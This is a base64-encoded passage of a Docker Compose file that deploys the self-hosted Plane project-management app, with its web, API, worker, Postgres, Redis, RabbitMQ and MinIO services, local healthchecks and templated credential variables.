dVTklDT1JOX1dPUktFUlM6LTF9JwogIFVTRV9NSU5JTzogJyR7VVNFX01JTklPOi0xfScKICBEQVRBQkFTRV9VUkw6ICdwb3N0Z3Jlc3FsOi8vJFNFUlZJQ0VfVVNFUl9QT1NUR1JFUzokU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFU0BwbGFuZS1kYi9wbGFuZScKICBTRUNSRVRfS0VZOiAkU0VSVklDRV9QQVNTV09SRF82NF9TRUNSRVRLRVkKICBBTVFQX1VSTDogJ2FtcXA6Ly8ke1NFUlZJQ0VfVVNFUl9SQUJCSVRNUX06JHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1RfUBwbGFuZS1tcToke1JBQkJJVE1RX1BPUlQ6LTU2NzJ9L3BsYW5lJwogIEFQSV9LRVlfUkFURV9MSU1JVDogJyR7QVBJX0tFWV9SQVRFX0xJTUlUOi02MC9taW51dGV9JwogIE1JTklPX0VORFBPSU5UX1NTTDogJyR7TUlOSU9fRU5EUE9JTlRfU1NMOi0wfScKc2VydmljZXM6CiAgcHJveHk6CiAgICBpbWFnZTogJ2FydGlmYWN0cy5wbGFuZS5zby9tYWtlcGxhbmUvcGxhbmUtcHJveHk6JHtBUFBfUkVMRUFTRTotdjEuMC4wfScKICAgIGVudmlyb25tZW50OgogICAgICAtIFNFUlZJQ0VfVVJMX1BMQU5FCiAgICAgIC0gJ0FQUF9ET01BSU49JHtTRVJWSUNFX1VSTF9QTEFORX0nCiAgICAgIC0gJ1NJVEVfQUREUkVTUz06ODAnCiAgICAgIC0gJ0ZJTEVfU0laRV9MSU1JVD0ke0ZJTEVfU0laRV9MSU1JVDotNTI0Mjg4MH0nCiAgICAgIC0gJ0JVQ0tFVF9OQU1FPSR7QVdTX1MzX0JVQ0tFVF9OQU1FOi11cGxvYWRzfScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gd2ViCiAgICAgIC0gYXBpCiAgICAgIC0gc3BhY2UKICAgICAgLSBhZG1pbgogICAgICAtIGxpdmUKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBjdXJsCiAgICAgICAgLSAnLWYnCiAgICAgICAgLSAnaHR0cDovLzEyNy4wLjAuMTo4MCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIHdlYjoKICAgIGltYWdlOiAnYXJ0aWZhY3RzLnBsYW5lLnNvL21ha2VwbGFuZS9wbGFuZS1mcm9udGVuZDoke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBhcGkKICAgICAgLSB3b3JrZXIKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OiAnd2dldCAtcU8tIGh0dHA6Ly9gaG9zdG5hbWVgOjMwMDAnCiAgICAgIGludGVydmFsOiAycwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMTUKICBzcGFjZToKICAgIGltYWdlOiAnYXJ0aWZhY3RzLnBsYW5lLnNvL21ha2VwbGFuZS9wbGFuZS1zcGFjZToke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBhcGkKICAgICAgLSB3b3JrZXIKICAgICAgLSB3ZWIKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBlY2hvCiAgICAgICAgLSAnaGV5IHdoYXRzIHVwJwogICAgICBpbnRlcnZhbDogMnMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDE1CiAgYWRtaW46CiAgICBpbWFnZTogJ2FydGlmYWN0cy5wbGFuZS5zby9tYWtlcGxhbmUvcGxhbmUtYWRtaW46JHtBUFBfUkVMRUFTRTotdjEuMC4wfScKICAgIGRlcGVuZHNfb246CiAgICAgIC0gYXBpCiAgICAgIC0gd2ViCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gJ2hleSB3aGF0cyB1cCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIGxpdmU6CiAgICBpbWFnZTogJ2FydGlmYWN0cy5wbGFuZS5zby9tYWtlcGxhbmUvcGxhbmUtbGl2ZToke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgZW52aXJvbm1lbnQ6CiAgICAgIEFQSV9CQVNFX1VSTDogJyR7QVBJX0JBU0VfVVJMOi1odHRwOi8vYXBpOjgwMDB9JwogICAgICBSRURJU19IT1NUOiAnJHtSRURJU19IT1NUOi1wbGFuZS1yZWRpc30nCiAgICAgIFJFRElTX1BPUlQ6ICcke1JFRElTX1BPUlQ6LTYzNzl9JwogICAgICBSRURJU19VUkw6ICcke1JFRElTX1VSTDotcmVkaXM6Ly9wbGFuZS1yZWRpczo2Mzc5L30nCiAgICBkZXBlbmRzX29uOgogICAgICAtIGFwaQogICAgICAtIHdlYgogICAgICAtIHBsYW5lLXJlZGlzCiAgICBoZWFsdGhjaGVjazoKICAgICAgdGVzdDoKICAgICAgICAtIENNRAogICAgICAgIC0gZWNobwogICAgICAgIC0gJ2hleSB3aGF0cyB1cCcKICAgICAgaW50ZXJ2YWw6IDJzCiAgICAgIHRpbWVvdXQ6IDEwcwogICAgICByZXRyaWVzOiAxNQogIGFwaToKICAgIGltYWdlOiAnYXJ0aWZhY3RzLnBsYW5lLnNvL21ha2VwbGFuZS9wbGFuZS1iYWNrZW5kOiR7QVBQX1JFTEVBU0U6LXYxLjAuMH0nCiAgICBjb21tYW5kOiAuL2Jpbi9kb2NrZXItZW50cnlwb2ludC1hcGkuc2gKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xvZ3NfYXBpOi9jb2RlL3BsYW5lL2xvZ3MnCiAgICBlbnZpcm9ubWVudDoKICAgICAgQVBQX1JFTEVBU0U6ICcke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgICBXRUJfVVJMOiAnJHtTRVJWSUNFX1VSTF9QTEFORX0nCiAgICAgIERFQlVHOiAnJHtERUJVRzotMH0nCiAgICAgIENPUlNfQUxMT1dFRF9PUklHSU5TOiAnJHtDT1JTX0FMTE9XRURfT1JJR0lOUzotaHR0cDovL2xvY2FsaG9zdH0nCiAgICAgIEdVTklDT1JOX1dPUktFUlM6ICcke0dVTklDT1JOX1dPUktFUlM6LTF9JwogICAgICBVU0VfTUlOSU86ICcke1VTRV9NSU5JTzotMX0nCiAgICAgIERBVEFCQVNFX1VSTDogJ3Bvc3RncmVzcWw6Ly8kU0VSVklDRV9VU0VSX1BPU1RHUkVTOiRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTQHBsYW5lLWRiL3BsYW5lJwogICAgICBTRUNSRVRfS0VZOiAkU0VSVklDRV9QQVNTV09SRF82NF9TRUNSRVRLRVkKICAgICAgQU1RUF9VUkw6ICdhbXFwOi8vJHtTRVJWSUNFX1VTRVJfUkFCQklUTVF9OiR7U0VSVklDRV9QQVNTV09SRF9SQUJCSVRNUX1AcGxhbmUtbXE6JHtSQUJCSVRNUV9QT1JUOi01NjcyfS9wbGFuZScKICAgICAgQVBJX0tFWV9SQVRFX0xJTUlUOiAnJHtBUElfS0VZX1JBVEVfTElNSVQ6LTYwL21pbnV0ZX0nCiAgICAgIE1JTklPX0VORFBPSU5UX1NTTDogJyR7TUlOSU9fRU5EUE9JTlRfU1NMOi0wfScKICAgICAgUEdIT1NUOiBwbGFuZS1kYgogICAgICBQR0RBVEFCQVNFOiBwbGFuZQogICAgICBQT1NUR1JFU19VU0VSOiAkU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIFBPU1RHUkVTX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICBQT1NUR1JFU19EQjogcGxhbmUKICAgICAgUE9TVEdSRVNfUE9SVDogNTQzMgogICAgICBQR0RBVEE6IC92YXIvbGliL3Bvc3RncmVzcWwvZGF0YQogICAgICBSRURJU19IT1NUOiAnJHtSRURJU19IT1NUOi1wbGFuZS1yZWRpc30nCiAgICAgIFJFRElTX1BPUlQ6ICcke1JFRElTX1BPUlQ6LTYzNzl9JwogICAgICBSRURJU19VUkw6ICcke1JFRElTX1VSTDotcmVkaXM6Ly9wbGFuZS1yZWRpczo2Mzc5L30nCiAgICAgIE1JTklPX1JPT1RfVVNFUjogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBNSU5JT19ST09UX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwogICAgICBBV1NfUkVHSU9OOiAnJHtBV1NfUkVHSU9OOi19JwogICAgICBBV1NfQUNDRVNTX0tFWV9JRDogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBBV1NfU0VDUkVUX0FDQ0VTU19LRVk6ICRTRVJWSUNFX1BBU1NXT1JEX01JTklPCiAgICAgIEFXU19TM19FTkRQT0lOVF9VUkw6ICcke0FXU19TM19FTkRQT0lOVF9VUkw6LWh0dHA6Ly9wbGFuZS1taW5pbzo5MDAwfScKICAgICAgQVdTX1MzX0JVQ0tFVF9OQU1FOiAnJHtBV1NfUzNfQlVDS0VUX05BTUU6LXVwbG9hZHN9JwogICAgICBSQUJCSVRNUV9IT1NUOiBwbGFuZS1tcQogICAgICBSQUJCSVRNUV9QT1JUOiAnJHtSQUJCSVRNUV9QT1JUOi01NjcyfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9VU0VSOiAnJHtTRVJWSUNFX1VTRVJfUkFCQklUTVE6LXBsYW5lfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9QQVNTOiAnJHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1ROi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfVkhPU1Q6ICcke1JBQkJJVE1RX1ZIT1NUOi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX1ZIT1NUOiAnJHtSQUJCSVRNUV9WSE9TVDotcGxhbmV9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBwbGFuZS1kYgogICAgICAtIHBsYW5lLXJlZGlzCiAgICAgIC0gcGxhbmUtbXEKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBlY2hvCiAgICAgICAgLSAnaGV5IHdoYXRzIHVwJwogICAgICBpbnRlcnZhbDogMnMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDE1CiAgd29ya2VyOgogICAgaW1hZ2U6ICdhcnRpZmFjdHMucGxhbmUuc28vbWFrZXBsYW5lL3BsYW5lLWJhY2tlbmQ6JHtBUFBfUkVMRUFTRTotdjEuMC4wfScKICAgIGNvbW1hbmQ6IC4vYmluL2RvY2tlci1lbnRyeXBvaW50LXdvcmtlci5zaAogICAgdm9sdW1lczoKICAgICAgLSAnbG9nc193b3JrZXI6L2NvZGUvcGxhbmUvbG9ncycKICAgIGVudmlyb25tZW50OgogICAgICBBUFBfUkVMRUFTRTogJyR7QVBQX1JFTEVBU0U6LXYxLjAuMH0nCiAgICAgIFdFQl9VUkw6ICcke1NFUlZJQ0VfVVJMX1BMQU5FfScKICAgICAgREVCVUc6ICcke0RFQlVHOi0wfScKICAgICAgQ09SU19BTExPV0VEX09SSUdJTlM6ICcke0NPUlNfQUxMT1dFRF9PUklHSU5TOi1odHRwOi8vbG9jYWxob3N0fScKICAgICAgR1VOSUNPUk5fV09SS0VSUzogJyR7R1VOSUNPUk5fV09SS0VSUzotMX0nCiAgICAgIFVTRV9NSU5JTzogJyR7VVNFX01JTklPOi0xfScKICAgICAgREFUQUJBU0VfVVJMOiAncG9zdGdyZXNxbDovLyRTRVJWSUNFX1VTRVJfUE9TVEdSRVM6JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNAcGxhbmUtZGIvcGxhbmUnCiAgICAgIFNFQ1JFVF9LRVk6ICRTRVJWSUNFX1BBU1NXT1JEXzY0X1NFQ1JFVEtFWQogICAgICBBTVFQX1VSTDogJ2FtcXA6Ly8ke1NFUlZJQ0VfVVNFUl9SQUJCSVRNUX06JHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1RfUBwbGFuZS1tcToke1JBQkJJVE1RX1BPUlQ6LTU2NzJ9L3BsYW5lJwogICAgICBBUElfS0VZX1JBVEVfTElNSVQ6ICcke0FQSV9LRVlfUkFURV9MSU1JVDotNjAvbWludXRlfScKICAgICAgTUlOSU9fRU5EUE9JTlRfU1NMOiAnJHtNSU5JT19FTkRQT0lOVF9TU0w6LTB9JwogICAgICBQR0hPU1Q6IHBsYW5lLWRiCiAgICAgIFBHREFUQUJBU0U6IHBsYW5lCiAgICAgIFBPU1RHUkVTX1VTRVI6ICRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgUE9TVEdSRVNfUEFTU1dPUkQ6ICRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIFBPU1RHUkVTX0RCOiBwbGFuZQogICAgICBQT1NUR1JFU19QT1JUOiA1NDMyCiAgICAgIFBHREFUQTogL3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhCiAgICAgIFJFRElTX0hPU1Q6ICcke1JFRElTX0hPU1Q6LXBsYW5lLXJlZGlzfScKICAgICAgUkVESVNfUE9SVDogJyR7UkVESVNfUE9SVDotNjM3OX0nCiAgICAgIFJFRElTX1VSTDogJyR7UkVESVNfVVJMOi1yZWRpczovL3BsYW5lLXJlZGlzOjYzNzkvfScKICAgICAgTUlOSU9fUk9PVF9VU0VSOiAkU0VSVklDRV9VU0VSX01JTklPCiAgICAgIE1JTklPX1JPT1RfUEFTU1dPUkQ6ICRTRVJWSUNFX1BBU1NXT1JEX01JTklPCiAgICAgIEFXU19SRUdJT046ICcke0FXU19SRUdJT046LX0nCiAgICAgIEFXU19BQ0NFU1NfS0VZX0lEOiAkU0VSVklDRV9VU0VSX01JTklPCiAgICAgIEFXU19TRUNSRVRfQUNDRVNTX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfTUlOSU8KICAgICAgQVdTX1MzX0VORFBPSU5UX1VSTDogJyR7QVdTX1MzX0VORFBPSU5UX1VSTDotaHR0cDovL3BsYW5lLW1pbmlvOjkwMDB9JwogICAgICBBV1NfUzNfQlVDS0VUX05BTUU6ICcke0FXU19TM19CVUNLRVRfTkFNRTotdXBsb2Fkc30nCiAgICAgIFJBQkJJVE1RX0hPU1Q6IHBsYW5lLW1xCiAgICAgIFJBQkJJVE1RX1BPUlQ6ICcke1JBQkJJVE1RX1BPUlQ6LTU2NzJ9JwogICAgICBSQUJCSVRNUV9ERUZBVUxUX1VTRVI6ICcke1NFUlZJQ0VfVVNFUl9SQUJCSVRNUTotcGxhbmV9JwogICAgICBSQUJCSVRNUV9ERUZBVUxUX1BBU1M6ICcke1NFUlZJQ0VfUEFTU1dPUkRfUkFCQklUTVE6LXBsYW5lfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKICAgICAgUkFCQklUTVFfVkhPU1Q6ICcke1JBQkJJVE1RX1ZIT1NUOi1wbGFuZX0nCiAgICBkZXBlbmRzX29uOgogICAgICAtIGFwaQogICAgICAtIHBsYW5lLWRiCiAgICAgIC0gcGxhbmUtcmVkaXMKICAgICAgLSBwbGFuZS1tcQogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQKICAgICAgICAtIGVjaG8KICAgICAgICAtICdoZXkgd2hhdHMgdXAnCiAgICAgIGludGVydmFsOiAycwogICAgICB0aW1lb3V0OiAxMHMKICAgICAgcmV0cmllczogMTUKICBiZWF0LXdvcmtlcjoKICAgIGltYWdlOiAnYXJ0aWZhY3RzLnBsYW5lLnNvL21ha2VwbGFuZS9wbGFuZS1iYWNrZW5kOiR7QVBQX1JFTEVBU0U6LXYxLjAuMH0nCiAgICBjb21tYW5kOiAuL2Jpbi9kb2NrZXItZW50cnlwb2ludC1iZWF0LnNoCiAgICB2b2x1bWVzOgogICAgICAtICdsb2dzX2JlYXQtd29ya2VyOi9jb2RlL3BsYW5lL2xvZ3MnCiAgICBlbnZpcm9ubWVudDoKICAgICAgQVBQX1JFTEVBU0U6ICcke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgICBXRUJfVVJMOiAnJHtTRVJWSUNFX1VSTF9QTEFORX0nCiAgICAgIERFQlVHOiAnJHtERUJVRzotMH0nCiAgICAgIENPUlNfQUxMT1dFRF9PUklHSU5TOiAnJHtDT1JTX0FMTE9XRURfT1JJR0lOUzotaHR0cDovL2xvY2FsaG9zdH0nCiAgICAgIEdVTklDT1JOX1dPUktFUlM6ICcke0dVTklDT1JOX1dPUktFUlM6LTF9JwogICAgICBVU0VfTUlOSU86ICcke1VTRV9NSU5JTzotMX0nCiAgICAgIERBVEFCQVNFX1VSTDogJ3Bvc3RncmVzcWw6Ly8kU0VSVklDRV9VU0VSX1BPU1RHUkVTOiRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTQHBsYW5lLWRiL3BsYW5lJwogICAgICBTRUNSRVRfS0VZOiAkU0VSVklDRV9QQVNTV09SRF82NF9TRUNSRVRLRVkKICAgICAgQU1RUF9VUkw6ICdhbXFwOi8vJHtTRVJWSUNFX1VTRVJfUkFCQklUTVF9OiR7U0VSVklDRV9QQVNTV09SRF9SQUJCSVRNUX1AcGxhbmUtbXE6JHtSQUJCSVRNUV9QT1JUOi01NjcyfS9wbGFuZScKICAgICAgQVBJX0tFWV9SQVRFX0xJTUlUOiAnJHtBUElfS0VZX1JBVEVfTElNSVQ6LTYwL21pbnV0ZX0nCiAgICAgIE1JTklPX0VORFBPSU5UX1NTTDogJyR7TUlOSU9fRU5EUE9JTlRfU1NMOi0wfScKICAgICAgUEdIT1NUOiBwbGFuZS1kYgogICAgICBQR0RBVEFCQVNFOiBwbGFuZQogICAgICBQT1NUR1JFU19VU0VSOiAkU0VSVklDRV9VU0VSX1BPU1RHUkVTCiAgICAgIFBPU1RHUkVTX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9QT1NUR1JFUwogICAgICBQT1NUR1JFU19EQjogcGxhbmUKICAgICAgUE9TVEdSRVNfUE9SVDogNTQzMgogICAgICBQR0RBVEE6IC92YXIvbGliL3Bvc3RncmVzcWwvZGF0YQogICAgICBSRURJU19IT1NUOiAnJHtSRURJU19IT1NUOi1wbGFuZS1yZWRpc30nCiAgICAgIFJFRElTX1BPUlQ6ICcke1JFRElTX1BPUlQ6LTYzNzl9JwogICAgICBSRURJU19VUkw6ICcke1JFRElTX1VSTDotcmVkaXM6Ly9wbGFuZS1yZWRpczo2Mzc5L30nCiAgICAgIE1JTklPX1JPT1RfVVNFUjogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBNSU5JT19ST09UX1BBU1NXT1JEOiAkU0VSVklDRV9QQVNTV09SRF9NSU5JTwogICAgICBBV1NfUkVHSU9OOiAnJHtBV1NfUkVHSU9OOi19JwogICAgICBBV1NfQUNDRVNTX0tFWV9JRDogJFNFUlZJQ0VfVVNFUl9NSU5JTwogICAgICBBV1NfU0VDUkVUX0FDQ0VTU19LRVk6ICRTRVJWSUNFX1BBU1NXT1JEX01JTklPCiAgICAgIEFXU19TM19FTkRQT0lOVF9VUkw6ICcke0FXU19TM19FTkRQT0lOVF9VUkw6LWh0dHA6Ly9wbGFuZS1taW5pbzo5MDAwfScKICAgICAgQVdTX1MzX0JVQ0tFVF9OQU1FOiAnJHtBV1NfUzNfQlVDS0VUX05BTUU6LXVwbG9hZHN9JwogICAgICBSQUJCSVRNUV9IT1NUOiBwbGFuZS1tcQogICAgICBSQUJCSVRNUV9QT1JUOiAnJHtSQUJCSVRNUV9QT1JUOi01NjcyfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9VU0VSOiAnJHtTRVJWSUNFX1VTRVJfUkFCQklUTVE6LXBsYW5lfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9QQVNTOiAnJHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1ROi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfVkhPU1Q6ICcke1JBQkJJVE1RX1ZIT1NUOi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX1ZIT1NUOiAnJHtSQUJCSVRNUV9WSE9TVDotcGxhbmV9JwogICAgZGVwZW5kc19vbjoKICAgICAgLSBhcGkKICAgICAgLSBwbGFuZS1kYgogICAgICAtIHBsYW5lLXJlZGlzCiAgICAgIC0gcGxhbmUtbXEKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSBlY2hvCiAgICAgICAgLSAnaGV5IHdoYXRzIHVwJwogICAgICBpbnRlcnZhbDogMnMKICAgICAgdGltZW91dDogMTBzCiAgICAgIHJldHJpZXM6IDE1CiAgbWlncmF0b3I6CiAgICBpbWFnZTogJ2FydGlmYWN0cy5wbGFuZS5zby9tYWtlcGxhbmUvcGxhbmUtYmFja2VuZDoke0FQUF9SRUxFQVNFOi12MS4wLjB9JwogICAgcmVzdGFydDogJ25vJwogICAgY29tbWFuZDogLi9iaW4vZG9ja2VyLWVudHJ5cG9pbnQtbWlncmF0b3Iuc2gKICAgIHZvbHVtZXM6CiAgICAgIC0gJ2xvZ3NfbWlncmF0b3I6L2NvZGUvcGxhbmUvbG9ncycKICAgIGVudmlyb25tZW50OgogICAgICBBUFBfUkVMRUFTRTogJyR7QVBQX1JFTEVBU0U6LXYxLjAuMH0nCiAgICAgIFdFQl9VUkw6ICcke1NFUlZJQ0VfVVJMX1BMQU5FfScKICAgICAgREVCVUc6ICcke0RFQlVHOi0wfScKICAgICAgQ09SU19BTExPV0VEX09SSUdJTlM6ICcke0NPUlNfQUxMT1dFRF9PUklHSU5TOi1odHRwOi8vbG9jYWxob3N0fScKICAgICAgR1VOSUNPUk5fV09SS0VSUzogJyR7R1VOSUNPUk5fV09SS0VSUzotMX0nCiAgICAgIFVTRV9NSU5JTzogJyR7VVNFX01JTklPOi0xfScKICAgICAgREFUQUJBU0VfVVJMOiAncG9zdGdyZXNxbDovLyRTRVJWSUNFX1VTRVJfUE9TVEdSRVM6JFNFUlZJQ0VfUEFTU1dPUkRfUE9TVEdSRVNAcGxhbmUtZGIvcGxhbmUnCiAgICAgIFNFQ1JFVF9LRVk6ICRTRVJWSUNFX1BBU1NXT1JEXzY0X1NFQ1JFVEtFWQogICAgICBBTVFQX1VSTDogJ2FtcXA6Ly8ke1NFUlZJQ0VfVVNFUl9SQUJCSVRNUX06JHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1RfUBwbGFuZS1tcToke1JBQkJJVE1RX1BPUlQ6LTU2NzJ9L3BsYW5lJwogICAgICBBUElfS0VZX1JBVEVfTElNSVQ6ICcke0FQSV9LRVlfUkFURV9MSU1JVDotNjAvbWludXRlfScKICAgICAgTUlOSU9fRU5EUE9JTlRfU1NMOiAnJHtNSU5JT19FTkRQT0lOVF9TU0w6LTB9JwogICAgICBQR0hPU1Q6IHBsYW5lLWRiCiAgICAgIFBHREFUQUJBU0U6IHBsYW5lCiAgICAgIFBPU1RHUkVTX1VTRVI6ICRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgUE9TVEdSRVNfUEFTU1dPUkQ6ICRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIFBPU1RHUkVTX0RCOiBwbGFuZQogICAgICBQT1NUR1JFU19QT1JUOiA1NDMyCiAgICAgIFBHREFUQTogL3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhCiAgICAgIFJFRElTX0hPU1Q6ICcke1JFRElTX0hPU1Q6LXBsYW5lLXJlZGlzfScKICAgICAgUkVESVNfUE9SVDogJyR7UkVESVNfUE9SVDotNjM3OX0nCiAgICAgIFJFRElTX1VSTDogJyR7UkVESVNfVVJMOi1yZWRpczovL3BsYW5lLXJlZGlzOjYzNzkvfScKICAgICAgTUlOSU9fUk9PVF9VU0VSOiAkU0VSVklDRV9VU0VSX01JTklPCiAgICAgIE1JTklPX1JPT1RfUEFTU1dPUkQ6ICRTRVJWSUNFX1BBU1NXT1JEX01JTklPCiAgICAgIEFXU19SRUdJT046ICcke0FXU19SRUdJT046LX0nCiAgICAgIEFXU19BQ0NFU1NfS0VZX0lEOiAkU0VSVklDRV9VU0VSX01JTklPCiAgICAgIEFXU19TRUNSRVRfQUNDRVNTX0tFWTogJFNFUlZJQ0VfUEFTU1dPUkRfTUlOSU8KICAgICAgQVdTX1MzX0VORFBPSU5UX1VSTDogJyR7QVdTX1MzX0VORFBPSU5UX1VSTDotaHR0cDovL3BsYW5lLW1pbmlvOjkwMDB9JwogICAgICBBV1NfUzNfQlVDS0VUX05BTUU6ICcke0FXU19TM19CVUNLRVRfTkFNRTotdXBsb2Fkc30nCiAgICAgIFJBQkJJVE1RX0hPU1Q6IHBsYW5lLW1xCiAgICAgIFJBQkJJVE1RX1BPUlQ6ICcke1JBQkJJVE1RX1BPUlQ6LTU2NzJ9JwogICAgICBSQUJCSVRNUV9ERUZBVUxUX1VTRVI6ICcke1NFUlZJQ0VfVVNFUl9SQUJCSVRNUTotcGxhbmV9JwogICAgICBSQUJCSVRNUV9ERUZBVUxUX1BBU1M6ICcke1NFUlZJQ0VfUEFTU1dPUkRfUkFCQklUTVE6LXBsYW5lfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9WSE9TVDogJyR7UkFCQklUTVFfVkhPU1Q6LXBsYW5lfScKICAgICAgUkFCQklUTVFfVkhPU1Q6ICcke1JBQkJJVE1RX1ZIT1NUOi1wbGFuZX0nCiAgICBkZXBlbmRzX29uOgogICAgICAtIHBsYW5lLWRiCiAgICAgIC0gcGxhbmUtcmVkaXMKICBwbGFuZS1kYjoKICAgIGltYWdlOiAncG9zdGdyZXM6MTUuNy1hbHBpbmUnCiAgICBjb21tYW5kOiAicG9zdGdyZXMgLWMgJ21heF9jb25uZWN0aW9ucz0xMDAwJyIKICAgIGVudmlyb25tZW50OgogICAgICBQR0hPU1Q6IHBsYW5lLWRiCiAgICAgIFBHREFUQUJBU0U6IHBsYW5lCiAgICAgIFBPU1RHUkVTX1VTRVI6ICRTRVJWSUNFX1VTRVJfUE9TVEdSRVMKICAgICAgUE9TVEdSRVNfUEFTU1dPUkQ6ICRTRVJWSUNFX1BBU1NXT1JEX1BPU1RHUkVTCiAgICAgIFBPU1RHUkVTX0RCOiBwbGFuZQogICAgICBQT1NUR1JFU19QT1JUOiA1NDMyCiAgICAgIFBHREFUQTogL3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhCiAgICB2b2x1bWVzOgogICAgICAtICdwZ2RhdGE6L3Zhci9saWIvcG9zdGdyZXNxbC9kYXRhJwogICAgaGVhbHRoY2hlY2s6CiAgICAgIHRlc3Q6CiAgICAgICAgLSBDTUQtU0hFTEwKICAgICAgICAtICdwZ19pc3JlYWR5IC1VICQke1BPU1RHUkVTX1VTRVJ9IC1kICQke1BPU1RHUkVTX0RCfScKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHBsYW5lLXJlZGlzOgogICAgaW1hZ2U6ICd2YWxrZXkvdmFsa2V5OjcuMi41LWFscGluZScKICAgIHZvbHVtZXM6CiAgICAgIC0gJ3JlZGlzZGF0YTovZGF0YScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OgogICAgICAgIC0gQ01ECiAgICAgICAgLSByZWRpcy1jbGkKICAgICAgICAtIHBpbmcKICAgICAgaW50ZXJ2YWw6IDVzCiAgICAgIHRpbWVvdXQ6IDIwcwogICAgICByZXRyaWVzOiAxMAogIHBsYW5lLW1xOgogICAgaW1hZ2U6ICdyYWJiaXRtcTozLjEzLjYtbWFuYWdlbWVudC1hbHBpbmUnCiAgICByZXN0YXJ0OiBhbHdheXMKICAgIGVudmlyb25tZW50OgogICAgICBSQUJCSVRNUV9IT1NUOiBwbGFuZS1tcQogICAgICBSQUJCSVRNUV9QT1JUOiAnJHtSQUJCSVRNUV9QT1JUOi01NjcyfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9VU0VSOiAnJHtTRVJWSUNFX1VTRVJfUkFCQklUTVE6LXBsYW5lfScKICAgICAgUkFCQklUTVFfREVGQVVMVF9QQVNTOiAnJHtTRVJWSUNFX1BBU1NXT1JEX1JBQkJJVE1ROi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX0RFRkFVTFRfVkhPU1Q6ICcke1JBQkJJVE1RX1ZIT1NUOi1wbGFuZX0nCiAgICAgIFJBQkJJVE1RX1ZIT1NUOiAnJHtSQUJCSVRNUV9WSE9TVDotcGxhbmV9JwogICAgdm9sdW1lczoKICAgICAgLSAncmFiYml0bXFfZGF0YTovdmFyL2xpYi9yYWJiaXRtcScKICAgIGhlYWx0aGNoZWNrOgogICAgICB0ZXN0OiAncmFiYml0bXEtZGlhZ25vc3RpY3MgLXEgcGluZycKICAgICAgaW50ZXJ2YWw6IDMwcwogICAgICB0aW1lb3V0OiAzMHMKICAgICAgcmV0cmllczogMwogIHBsYW5lLW1pbmlvOgogICAgaW1hZ2U6ICdnaGNyLmlvL2Nvb2xsYWJzaW8vbWluaW86UkVMRUFTRS4yMDI1LTEwLTE1VDE3LTI5LTU1W